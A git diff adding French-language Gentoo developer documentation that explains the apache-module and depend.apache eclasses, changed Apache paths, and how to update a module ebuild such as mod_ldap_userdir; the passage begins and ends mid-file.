+<body>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>apache_cd_dir</c></ti>
+  <ti>Retourne le chemin correct du répertoire temporaire de construction.</ti>
+</tr>
+<tr>
+  <ti><c>apache_mod_file</c></ti>
+  <ti>Retourne le chemin du module construit à installer.</ti>
+</tr>
+<tr>
+  <ti><c>apache_doc_magic</c></ti>
+  <ti>
+    Prend un seul argument optionnel. Si celui-ci est mentionné, la fonction
+    retourne tous les fichiers *.html de <c>${DOCFILES}</c>, autrement il
+    retourne tous les fichiers non-*.html.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_compile</c></ti>
+  <ti>
+    Appelle <c>${APXS1}</c> avec les arguments de <c>${APXS1_ARGS}</c>. Si un
+    module requiert une installation différente de construction que celle-ci,
+    utilisez <c>${APXS1}</c> dans votre propre src_compile quotidien.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_install</c></ti>
+  <ti>
+    Cette fonction installe le module et configure les fichiers dans le
+    répertoire d'Apache. Elle gère l'installation des modules, leur
+    configuration, les exécutables relatifs et la documentation.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_pkg_postinst</c></ti>
+  <ti>Affiche les messages de configuration standard.</ti>
+</tr>
+<tr>
+  <ti><c>apache2_pkg_setup</c></ti>
+  <ti>
+    Si APACHE2_SAFE_MPMS est paramétré, cette fonction vérifie les MPM
+    installés et affiche une erreur s'il n'y a aucun MPM sûr installé.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_compile</c></ti>
+  <ti>
+    Appelle <c>${APXS2}</c> avec les arguments de <c>${APXS2_ARGS}</c>. Si un
+    module requiert une installation différente de construction que celle-ci,
+    utilisez <c>${APXS2}</c> dans votre propre src_compile quotidien.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_install</c></ti>
+  <ti>
+    Cette fonction installe le module et configure les fichiers dans le
+    répertoire d'Apache. Elle gère l'installation des modules, leur
+    configuration, les exécutables relatifs et la documentation.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>apache-module_pkg_setup</c><br />
+    <c>apache-module_src_compile</c><br />
+    <c>apache-module_src_install</c><br />
+    <c>apache-module_pkg_postinst</c>
+  </ti>
+  <ti>
+    Ce sont des fonctions englobantes des fonctions apache1_* or apache2_*.
+    Elles détectent automatiquement la version d'Apache avec lesquelles elles
+    sont construites.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variables</title>
+<body>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Défaut</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_CONF</c><br />
+    <c>APACHE2_MOD_CONF</c>
+  </ti>
+  <ti>Non</ti>
+  <ti>
+    L'emplacement dans <c>${FILESDIR}</c> de la configuration des modules, sans
+    l'extention .conf.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_DEFINE</c><br />
+    <c>APACHE2_MOD_DEFINE</c>
+  </ti>
+  <ti>Non</ti>
+  <ti>
+    Nom du «&nbsp;define&nbsp;» dans la configuration des modules. Utilisé en
+    affichant un message à l'utilisateur pour l'ajouter à son
+    <path>/etc/conf.d/apache{|2}</path>.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_EXECFILES</c><br />
+    <c>APACHE2_EXECFILES</c>
+  </ti>
+  <ti>Non</ti>
+  <ti>Fichiers exécutables additionnels qui devront être installés.</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_FILE</c><br />
+    <c>APACHE2_MOD_FILE</c>
+  </ti>
+  <ti>
+    ${PN}.so<br />
+    .libs/${PN}.so
+  </ti>
+  <ti>Les modules que <c>src_install</c> installe.</ti>
+</tr>
+<tr>
+  <ti><c>APACHE2_SAFE_MPMS</c></ti>
+  <ti>Non</ti>
+  <ti>
+    Une liste des MPM qui fonctionnent avec ce module. Si ce n'est pas
+    renseigné, alors aucune vérification des MPM ne sera faite. S'il y a des
+    MPM peu sûrs d'installés l'utilisateur est averti. S'il n'y pas de MPM
+    installés, le module refuse de s'installer.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_S</c><br />
+    <c>APXS2_S</c>
+  </ti>
+  <ti>Non</ti>
+  <ti>
+    Les chemins vers les répertoires de construction temporaires. Retourné par
+    <c>apache_cd_dir</c> si renseigné, sinon il retourne <c>${S}/src</c>
+    (si c'est un répertoire) ou <c>${S}</c> sinon.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_ARGS</c><br />
+    <c>APXS2_ARGS</c>
+  </ti>
+  <ti>-c ${PN}.c</ti>
+  <ti>Arguments à passer à l'outil apxs.</ti>
+</tr>
+<tr>
+  <ti><c>DOCFILES</c></ti>
+  <ti>Non</ti>
+  <ti>
+    La documentation à installer. Tous les fichiers qui finissent par .html
+    sont installés en utilisant <c>dohtml</c>, les autres sont installés en
+    utilisant <c>dodoc</c>.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="depend-apache">
+<title>Eclass depend.apache</title>
+<section>
+<title>Description</title>
+<body>
+
+<p>
+L'eclass <c>depend.apache</c> règle les localisations par défaut des différents
+chemins d'Apache et gère les paramètres des dépendances sur Apache. En général,
+cette eclass ne devrait pas être utilisée par les modules. Elle devrait
+seulement être employée pour les programmes qui doivent dépendre d'Apache mais
+qui ne sont pas des modules. (Les modules devraient employer l'eclass <uri
+link="#apache-module">apache-module</uri>.)
+</p>
+
+</body>
+</section>
+<section>
+<title>Fonctions</title>
+<body>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>need_apache1</c></ti>
+  <ti>
+    Cette fonction renseigne correctement l'information sur les dépendances
+    pour les paquets qui ne supportent que Apache-1.x. Les paquets qui
+    nécessitent Apache-1.x devront appeler <c>need_apache1</c> dans la portée
+    globale pour placer correctement les dépendances.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache2</c></ti>
+  <ti>
+    Cette fonction renseigne correctement l'information sur les dépendances
+    pour les paquets qui ne supportent que Apache-2.x. Les paquets qui
+    nécessitent Apache-2.x devront appeler <c>need_apache2</c> dans la portée
+    globale pour placer correctement les dépendances.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache</c></ti>
+  <ti>
+    Cette fonction renseigne correctement l'information sur les dépendances
+    basées sur les variables USE actuellement réglées. Les paquets qui peuvent
+    utiliser les deux versions d'Apache devront appeler <c>need_apache</c> dans
+    la portée globale pour placer correctement les dépendances.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variables</title>
+<body>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Défaut</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>APACHE_VERSION</c></ti>
+  <ti>1</ti>
+  <ti>
+    Paramétré par <c>need_apache</c>, <c>need_apache1</c>, <c>need_apache2</c>.
+    Stocke la version d'apache que nous allons construire.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1</c><br />
+    <c>APXS2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apxs</path><br />
+    <path>/usr/sbin/apxs2</path>
+  </ti>
+  <ti>Chemin vers l'outil apxs</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHECTL1</c><br />
+    <c>APACHECTL2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apachectl</path><br />
+    <path>/usr/sbin/apache2ctl</path>
+  </ti>
+  <ti>Chemin vers l'outil apachectl</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_BASEDIR</c><br />
+    <c>APACHE2_BASEDIR</c>
+  </ti>
+  <ti>
+    <path>/usr/lib/apache</path><br />
+    <path>/usr/lib/apache2</path>
+  </ti>
+  <ti>Le chemin dans lequel le serveur tourne.</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_CONFDIR</c><br />
+    <c>APACHE2_CONFDIR</c>
+  </ti>
+  <ti>
+    <path>/etc/apache</path><br />
+    <path>/etc/apache2</path>
+  </ti>
+  <ti>Localisation du fichier de configuration <path>httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULES_CONFDIR</c><br />
+    <c>APACHE2_MODULES_CONFDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/modules.d<br />
+    ${APACHE2_CONFDIR}/modules.d
+  </ti>
+  <ti>
+    Emplacement où les modules devront installer leur configuration.
+    Tous les fichiers *.conf dans ce répertoire sont inclus au lancement.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_VHOSTDIR</c><br />
+    <c>APACHE2_VHOSTDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/vhosts.d<br />
+    ${APACHE2_CONFDIR}/vhosts.d
+  </ti>
+  <ti>
+    Emplacement où les configurations des hôtes virtuels devront être gardés.
+    Tous les fichiers *.conf dans ce répertoire sont inclus au lancement.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULESDIR</c><br />
+    <c>APACHE2_MODULESDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_BASEDIR}/modules<br />
+    ${APACHE2_BASEDIR}/modules
+  </ti>
+  <ti>Emplacement où les modules binaires devront être installés.</ti>
+</tr>
+</table>
+
+<note>
+Toutes les variables devront être considérées en lecture seule et ne devront
+pas être modifiées dans l'ebuild. Cela pourrait produire des résultats
+imprévisibles.
+</note>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/apache/doc/developer.xml b/xml/htdocs/proj/fr/apache/doc/developer.xml
new file mode 100644
index 00000000..f0566827
--- /dev/null
+++ b/xml/htdocs/proj/fr/apache/doc/developer.xml
@@ -0,0 +1,920 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+<guide link="/proj/fr/apache/doc/developer.xml" lang="fr">
+<title>Documentation Apache pour les développeurs</title>
+
+<author title="Auteur">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Traducteur">
+  <mail link="titefleur@gentoo.org">Marion Agé</mail>
+</author>
+
+<abstract>
+Ce document fournit des détails au sujet des nouvelles eclass disponibles pour
+les développeurs des paquets relatifs à Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.4</version>
+<date>2007-07-30</date>
+
+<chapter>
+<title>À propos de ce document</title>
+<section>
+<body>
+
+<p>
+Ce document détaille les <uri link="#apache-module">nouvelles eclass</uri>,
+<uri link="#changes">ce que nous avons changé</uri> depuis le précédent modèle
+d'Apache, et la façon dont les ebuilds ont besoin d'être <uri
+link="#ebuild-update">modifiés</uri> pour tenir compte des avantages de nos
+nouvelles eclass. Si vous êtes un utilisateur à la recherche d'informations
+pour la mise à jour d'Apache, veuillez plutôt consulter le documentation de la
+<uri link="apache-upgrading.xml">mise à jour d'Apache</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="changes">
+<title>Ce qui a changé</title>
+<section>
+<title>Vue d'ensemble</title>
+<body>
+
+<p>
+Nous avons fait beaucoup de changements concernant la procédure d'installation
+et d'utilisation d'Apache et de ses modules sous Gentoo. Cela facilite les
+tâches de maintenance et permet de suivre de près les versions en amont. Voici
+nos changements&nbsp;:
+</p>
+
+<ul>
+  <li>Correction de nombreux <uri link="#buglist">bogues</uri></li>
+  <li>Changement des chemins d'installation et de configuration</li>
+  <li>
+    Création des eclass <uri link="#depend-apache">depend.apache</uri> et <uri
+    link="#apache-module">apache-module</uri>
+  </li>
+  <li>
+    Fusion des fichiers apache.conf et commonapache.conf en un seul fichier
+    très similaire à la version de base
+  </li>
+  <li>
+    Dédoublement de <c>apr</c> et <c>apr-utils</c> en-dehors du paquet
+    principal d'Apache pour ceux qui ne nécessitent plus Apache
+  </li>
+  <li>Mise à jour et estampillage d'une version pour presque chaque module</li>
+  <li>Mise à disposition d'un plus grand nombre de MPM</li>
+  <li>Ajout du support de lingerd</li>
+  <li>Fixation du support des longs fichiers</li>
+  <li><e>Et bien plus encore, je suis sûr que j'en oublie...</e></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Localisation des chemins d'Apache</title>
+<body>
+
+<p>
+Afin de suivre de plus près l'installation d'Apache en amont et celle des
+autres distributions, les chemins suivant ont changé&nbsp;:
+</p>
+
+</body>
+</section>
+<section>
+<title>Apache 2.x</title>
+<body>
+
+<table>
+<tr>
+  <th>Utilisation</th>
+  <th>Ancien chemin</th>
+  <th>Nouveau chemin</th>
+</tr>
+<tr>
+  <ti>Racine du serveur</ti>
+  <ti><path>/etc/apache2/</path></ti>
+  <ti><path>/usr/lib/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Répertoire de configuration</ti>
+  <ti><path>/etc/apache2/conf/</path></ti>
+  <ti><path>/etc/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Configuration</ti>
+  <ti><path>/etc/apache2/conf/apache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Configuration</ti>
+  <ti><path>/etc/apache2/conf/commonapache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Configuration des hôtes virtuels</ti>
+  <ti><path>/etc/apache2/conf/vhosts/</path></ti>
+  <ti><path>/etc/apache2/vhosts.d/</path></ti>
+</tr>
+<tr>
+  <ti>Configuration des modules</ti>
+  <ti><path>/etc/apache2/conf/modules.d/</path></ti>
+  <ti><path>/etc/apache2/modules.d/</path></ti>
+</tr>
+<tr>
+  <ti>Modules binaires</ti>
+  <ti><path>/usr/lib/apache2-extramodules/</path></ti>
+  <ti><path>/usr/lib/apache2/modules/</path></ti>
+</tr>
+</table>
+
+<note>
+La configuration inclut désormais automatiquement les fichiers
+<path>modules.d/*.conf</path> et <path>vhosts.d/*.conf</path> par défaut.
+Cependant, la directive dans le fichier <path>httpd.conf</path> énumère ce qui
+précède de la même façon que <path>conf/modules.d/*.conf</path> et
+<path>conf/vhosts.d/*.conf</path>. Cela est dû au fait qu'Apache lit la
+configuration en utilisant le répertoire <path>/usr/lib/apache{|2}</path> qui
+contient un lien symbolique <path>conf -&gt; /etc/apache{|2}</path>.
+</note>
+
+<impo>
+Si vous êtes développeur et que vous mettez à jour un ebuild pour utiliser les
+changements que nous avons faits, veuillez ne pas compliquer les chemins cités
+précédemment dans votre ebuild. Regardez plutôt la documentation des eclass
+pour les variables appropriées que vous pouvez utiliser.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="ebuild-update">
+<title>Mise à jour d'un ebuild</title>
+<section>
+<body>
+
+<p>
+Avec nos nouveaux changements, pratiquement chaque ebuild qui dépend d'Apache
+doit être modifié. L'équipe d'Apache a déjà pris compte d'une grande majorité
+de ces paquets, car ils en sont responsables. Mais il en reste plusieurs qui
+appartiennent à d'autres mainteneurs et qui ont besoin d'être mis à jour.
+</p>
+
+<p>
+Ce chapitre a pour but de guider un développeur à travers la mise à jour d'un
+ebuild pour utiliser les nouvelles eclass, en s'appuyant sur un de nos paquets
+les plus complexes, <c>www-apache/mod_ldap_userdir</c> par exemple.
+</p>
+
+<note>
+Si votre paquet actuellement n'est pas un module mais qu'il a juste besoin de
+connaître les chemins qu'utilise Apache, faites simplement un <c>inherit
+depend.apache</c> et utilisez les variables qui sont mises à votre disposition
+dans les eclass. Consultez pour cela la documentation du <uri
+link="#depend-apache">depend.apache</uri> des eclass.
+</note>
+
+</body>
+</section>
+<section>
+<title>Vue d'ensemble des changements nécessaires</title>
+<body>
+
+<ul>
+  <li>
+    Une nouvelle révision sera nécessaire tant que les versions modifiées pour
+    les nouvelles eclass ne sont pas rétro-compatibles avec les anciennes
+    versions d'Apache.
+  </li>
+  <li>
+    Assurez-vous d'avoir mis votre <c>KEYWORDS</c> en instable et (si les
+    paquets d'Apache sont encore masqués) ajoutez-les au fichier
+    <path>package.mask</path>.
+  </li>
+  <li>
+    Remplacez chaque <c>DEPEND</c> d'Apache par <c>need_apache1</c> (pour les
+    modules de Apache-1*), par <c>need_apache2</c> (pour les modules
+    d'Apache-2*), ou par <c>need_apache</c> (pour les modules qui peuvent
+    dépendre d'Apache-1* ou d'Apache-2* &mdash; selon les variables USE
+    indiquées).
+  </li>
+  <li>
+    Retirez n'importe quel code spécifique qui modifie le <c>SLOT</c> ou
+    <c>DEPEND</c> avec des «&nbsp;bidouilles&nbsp;» telles que
+    <c>has_version</c>.
+  </li>
+  <li>
+    Vérifiez que le <c>src_compile</c> par défaut dans l'eclass est
+    fonctionnel.  Si ce n'est pas le cas, réglez <c>APXS1_ARGS</c> et/ou
+    <c>APXS2_ARGS</c> pour compiler les autres fichiers requis.
+  </li>
+  <li>Généralement toutes les fonctions peuvent être retirées de l'ebuild.</li>
+  <li>
+    Modifiez le fichier de configuration des modules afin d'utiliser les
+    directives <c>IfDefine</c> pour charger et configurer le module.
+  </li>
+  <li>Ajoutez les fichiers de documentation dans <c>DOCFILES</c>.</li>
+  <li>
+    Spécifiez les fichiers de configuration que src_install devra
+    installer&nbsp;: <c>APACHE1_MOD_CONF</c>, <c>APACHE2_MOD_CONF</c>.
+  </li>
+  <li>
+    Spécifiez le <c>IfDefine</c> que le module utilise dans son fichier de
+    configuration, pkg_postinst peut vous donner des informations utiles pour
+    activer le module&nbsp;: <c>APACHE1_MOD_DEFINE</c>,
+    <c>APACHE2_MOD_DEFINE</c>.
+  </li>
+  <li>
+    N'oubliez pas de le tester &mdash; suivez les instructions de mise à jour
+    de ce document si vous ne l'avez pas déjà fait.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ebuilds globaux</title>
+<body>
+
+
+<pre caption="Diff entre mod_ldap_userdir-1.4.1 et mod_ldap_userdir-1.4.1-r1
+(edité)">
++inherit apache-module
++
+-IUSE="apache2 ssl"
++IUSE="ssl"
+
+ DESCRIPTION="Apache module that enables ~/public_html from an LDAP directory."
+ HOMEPAGE="http://horde.net/~jwm/software/mod_ldap_userdir/"
+-KEYWORDS="x86 ppc"
++KEYWORDS="~x86 ~ppc"
+
+ SRC_URI="http://horde.net/~jwm/software/mod_ldap_userdir/${P}.tar.gz"
+
+-DEPEND="=net-www/apache-1*
+-       apache2? ( =net-www/apache-2* )
+-       ssl? ( dev-libs/openssl )
+-       net-nds/openldap"
++DEPEND="ssl? ( dev-libs/openssl )
++       net-nds/openldap"
+
+ LICENSE="GPL-1"
+ SLOT="0"
++
++DOCFILES="DIRECTIVES README user-ldif posixAccount-objectclass"
++APACHE1_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE2_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE1_MOD_DEFINE="LDAPuserdir"
++APACHE2_MOD_DEFINE="LDAPuserdir"
++
++need_apache
+</pre>
+
+<p>
+Nous commençons avec <c>inherit apache-module</c> qui hérite également
+<c>depend.apache</c>. <c>depend.apache</c> définit les localisations qu'utilise
+Apache et, plus important, définit trois <c>DEPEND</c>&nbsp;:
+<c>APACHE1_DEPEND</c> pour les paquets qui ont besoin d'Apache-1*,
+<c>APACHE2_DEPEND</c> pour les paquets qui ont besoin d'Apache-2*, et
+<c>APACHE_DEPEND</c> pour les paquets qui peuvent avoir besoin soit d'Apache-1*
+soit d'Apache-2* et qui laissent à la variable USE apache2 le soin de
+déterminer cela.
+</p>
+
+<note>
+Pour le moment, nous ne supportons pas l'installation des deux versions
+d'Apache simultanément (bien que cela soit possible), car il n'est pas possible
+ensuite d'installer une seule version d'un module pour les deux versions
+d'Apache. Les modules devront juste utiliser un <c>SLOT</c> autre que <c>0</c>
+s'ils ont des lignes multiples de version et que chacun supporte une version
+différente d'Apache. (i.e. <path>mod_layout-3.2.1-r1</path> possède un
+<c>SLOT="1"</c> et <path>mod_layout-4.0.1a-r1</path> un <c>SLOT="2"</c>.)
+</note>
+
+<p>
+<c>apache-module</c> s'occupe d'une lourde tâche pour les paquets de module en
+définissant des valeurs convenables par défaut pour <c>pkg_setup</c>,
+<c>src_compile</c>, <c>src_install</c> et <c>pkg_postinst</c>.
+</p>
+
+<p>
+Comme <c>depend.apache</c> ajoute <c>apache2</c> à IUSE si nécessaire, vous ne
+devez plus le définir explicitement dans l'IUSE des ebuilds. Vous devrez
+cependant le laisser défini si vous employez cette variable USE dans votre
+ebuild quelque part.
+</p>
+
+<p>
+<c>depend.apache</c> s'exécute en ajoutant le DEPEND Apache correct à votre
+DEPEND (si vous appelez l'une des fonctions de <c>need_apache{|1|2}</c>), ainsi
+vous pouvez retirer le traitement du DEPEND Apache de votre ebuild.
+</p>
+
+<p>
+<c>DOCFILES</c> est utilisé par <c>src_install</c> dans <c>apache-modules</c>
+pour installer toutes les documentations. <c>src_install</c> détecte
+automatiquement les fichiers html et les autres fichiers, et utilise
+<c>dodoc</c> ou <c>dohtml</c> pour les installer à leur bonne place.
+</p>
+
+<p>
+<c>APACHE1_MOD_CONF</c> et <c>APACHE2_MOD_CONF</c> définissent le fichier de
+configuration à installer pour le module. Ceci est utilisé pendant le
+<c>src_install</c>, ainsi ils peuvent être liés à ce que vous avez défini pour
+<c>APXS1_S</c> ou <c>APXS2_S</c> (par défaut à <c>${S}/src</c> si c'est un
+répertoire, ou juste <c>${S}</c>).
+</p>
+
+<p>
+<c>APACHE1_MOD_DEFINE</c> et <c>APACHE2_MOD_DEFINE</c> indiquent aux eclass de
+quelle directive <c>&lt;IfDefine MODULENAME&gt;</c> le module se sert. Il est
+utilisé pour afficher à l'utilisateur des commandes sur la façon d'activer le
+module.
+</p>
+
+</body>
+</section>
+<section>
+<title>src_compile</title>
+<body>
+
+<p>
+<c>src_compile</c> peut être nécessaire si le module requiert des étapes
+spéciales que l'eclass ne peut traiter. Ce serait un cas assez exceptionnel.
+Dans la plupart des cas, en passant juste en revue le fichier
+<path>Makefile</path> et en ajoutant les éléments à <c>APXS1_ARGS</c> ou
+<c>APXS2_ARGS</c>, cela devrait être suffisant.
+</p>
+
+<pre caption="Diff entre mod_ldap_userdir-1.4.1 et mod_ldap_userdir-1.4.1-r1
+(édité)">
+-src_compile() {
+-   local myconf
+-   if use apache2; then
+-       myconf="${myconf} --with-apxs2=/usr/sbin/apxs2"
+-   else
+-       myconf="${myconf} --with-apxs=/usr/sbin/apxs"
+-   fi
+-
+-   use ssl &amp;&amp; myconf="${myconf} -with-tls"
+-
+-   myconf="${myconf} --with-activate"
+-   ./configure ${myconf} || die "Configure failed"
+-   make clean
+-   make || die "Make failed"
+-}
+
++src_compile() {
++   local myargs="-lldap -llber -c ${PN}.c"
++   use ssl &amp;&amp; myargs="${myargs} -D TLS=1"
++
++   APXS2_ARGS="${myargs}"
++   APXS1_ARGS="${myargs}"
++
++   apache-module_src_compile
++
++}
+</pre>
+
+<note>
+En général, si APXS1_ARGS ou APXS2_ARGS ont besoin d'être distincts, ils sont
+définis dans l'espace global. <path>mod_ldap_userdir</path> est différent à cet
+égard, parce que l'état de la variable USE ssl affecte ces variables et il est
+plus efficace de placer uniquement ces valeurs dans <c>src_compile</c> plutôt
+que de faire une vérification de la USE à chaque fois que vous invoquerez cet
+ebuild.
+</note>
+
+</body>
+</section>
+<section>
+<title>src_install</title>
+<body>
+
+<p>
+Dans la plupart des cas, <c>src_install</c> ne sera pas nécessaire. Il y a des
+exceptions quand d'autres répertoires ont besoin d'être installés ou quand les
+droits de fichiers doivent être changés.
+</p>
+
+<pre caption="Diff entre mod_ldap_userdir-1.4.1 et mod_ldap_userdir-1.4.1-r1
+(édité)">
+-src_install() {
+-   if use apache2; then
+-       exeinto /usr/lib/apache2-extramodules
+-       doexe mod_ldap_userdir.so
+-   else
+-       exeinto /usr/lib/apache-extramodules
+-       doexe mod_ldap_userdir.so
+-   fi
+-   dodoc DIRECTIVES README user-ldif posixAccount-objectclass
+-}
++src_install() {
++   apache-module_src_install
++   if [ "${APACHE_VERSION}" == "2" ]; then
++       fperms 600 ${APACHE2_MODULES_CONFDIR}/$(basename ${APACHE2_MOD_CONF})
++   else
++       fperms 600 ${APACHE1_MODULES_CONFDIR}/$(basename ${APACHE1_MOD_CONF})
++   fi
++}
+</pre>
+
+<p>
+Comme vous pouvez le voir, dans <path>mod_ldap_userdir</path> nous avions en
+fait ajouté quelques corrections qui n'étaient pas présentes dans la révision
+précédente &mdash; l'ajout d'un fichier de configuration et le réglage des
+permissions appropriées dessus. Mais nous permettons encore la présentation de
+<c>apache-module</c> en appelant <c>apache-module_src_install</c> à l'intérieur
+de notre <c>src_install</c>. Dans la plupart des cas, <c>src_install</c> ne
+sera pas nécessaire du tout.
+</p>
+
+<p>
+<c>src_install</c> traite complètement l'installation du module, la
+configuration des fichiers et la documentation aux endroits corrects.
+</p>
+
+</body>
+</section>
+<section>
+<title>Autres fonctions</title>
+<body>
+
+<p>
+Dans la plupart des cas, il ne devrait y avoir ni pkg_postinst ni pkg_config
+pendant que les eclass manipulent des instructions d'affichage à l'utilisateur
+à propos de l'activation d'un module et de l'emplacement du fichier de
+configuration. Si des instructions additionnelles d'installation sont
+nécessaires, alors un <c>pkg_postinst</c> peut être ajouté, mais il devrait
+alors exécuter <c>apache1_pkg_postinst</c> ou <c>apache2_pkg_postinst</c> à
+l'intérieur de lui-même.
+</p>
+
+<pre caption="Diff entre mod_ldap_userdir-1.4.1 et mod_ldap_userdir-1.4.1-r1
+(édité)">
+-pkg_postinst() {
+-   if use apache2; then
+-       elog "Adjust /etc/apache2/conf/modules.d/47_mod_ldap_userdir.conf to match your setup and"
+-       elog "add '-D LDAPuserdir' to your APACHE2_OPTS in /etc/conf.d/apache2"
+-       elog "To configure the package run \"ebuild /var/db/pkg/net-www/${PF}/${PF}.ebuild config\""
+-   fi
+-}
+-
+-pkg_config() {
+-   /usr/sbin/apacheaddmod \
+-       ${ROOT}/etc/apache/conf/apache.conf \
+-       extramodules/mod_ldap_userdir.so mod_ldap_userdir.c ldap_userdir_module \
+-       define=LDAPuserdir addconf=conf/addon-modules/47_mod_ldap_userdir.conf
+-}
+</pre>
+
+<p>
+Avec la nouvelle configration par défaut d'Apache, nous n'avons plus besoin
+d'obliger l'utilisateur à modifier son fichier <path>httpd.conf</path> pour
+activer le module. Tous les fichiers <path>*.conf</path> du répertoire
+<path>modules.d</path> sont inclus automatiquement. Chaque fichier présent
+devra être complètement compris dans un bloc <c>&lt;IfDefine
+MODULENAME&gt;</c>, de telle sorte que les directives dans ce fichier ne soient
+utilisées que si les utilisateurs ajoutent un <c>"-D MODULENAME"</c> à leur
+fichier <path>/etc/conf.d/apache{|2}</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fichier de configuration</title>
+<body>
+
+<p>
+La plupart des fichiers de configuration n'auront besoin que de peu de
+changements. Voici le principal à surveiller pour être sûr qu'il utilise le
+chemin correct au chargement du module&nbsp;:
+</p>
+
+
+<pre caption="Directive LoadModule">
+<comment>(Ancienne directive :)</comment>
+LoadModule ldap_userdir_module extramodules/mod_ldap_userdir.so
+
+<comment>(Nouvelle directive :)</comment>
+LoadModule ldap_userdir_module modules/mod_ldap_userdir.so
+</pre>
+
+<p>
+Ainsi, chaque fichier de configuration de module a besoin d'être compris dans
+un bloc <c>&lt;IfDefine MODULENAME&gt;</c>. Si vous ne faites pas cela, alors
+Apache chargera le module par défaut, ce que nous ne voulons pas &mdash; le
+chargement du module doit être contrôlé par l'utilisateur, en utilisant le
+fichier <path>/etc/conf.d/apache{|2}</path>.
+</p>
+
+<pre caption="Exemple de .conf">
+&lt;IfDefine LDAPuserdir&gt;
+  &lt;IfModule !mod_ldap_userdir.c&gt;
+    <comment># Load the module:</comment>
+    LoadModule ldap_userdir_module modules/mod_ldap_userdir.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+
+&lt;IfModule mod_ldap_userdir.c&gt;
+<comment># Mettez une bonne configuration par défaut ici&nbsp;:</comment>
+
+    LDAPUserDir             public_html
+    LDAPUserDirDNInfo       cn=root,dc=yourcompany,dc=com yourpassword
+    LDAPUserDirBaseDN       ou=People,dc=yourcompany,dc=com
+
+&lt;/IfModule&gt;
+</pre>
+
+<note>
+Certains modules peuvent vouloir ajouter des extensions qui sont vérifiées dans
+le DirectoryIndex. Nous avons modifié Apache afin d'avoir une nouvelle
+directive de configuration, AddDirectoryIndex, qui ne s'occupe que de cela.
+Utilisez-le exactement comme DirectoryIndex - il travaille de la même manière à
+l'exception près qu'il ne remplace pas le DirectoryIndex, il s'ajoute à lui. Il
+y a également un RemoveDirectoryIndex si cela est nécessaire pour une raison
+quelconque.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="apache-module">
+<title>Eclass apache-module</title>
+<section>
+<title>Description</title>
+<body>
+
+<p>
+L'eclass <c>apache-module</c> fournit des fonctions convenables par défaut pour
+la compilation des modules Apache. Puisque la plupart des modules sont compilés
+exactement de la même manière, ceci permet aux ebuilds de modules d'être
+extrêmement simples.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fonctions</title>
+<body>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>apache_cd_dir</c></ti>
+  <ti>Retourne le chemin correct du répertoire temporaire de construction.</ti>
+</tr>
+<tr>
+  <ti><c>apache_mod_file</c></ti>
+  <ti>Retourne le chemin du module construit à installer.</ti>
+</tr>
+<tr>
+  <ti><c>apache_doc_magic</c></ti>
+  <ti>
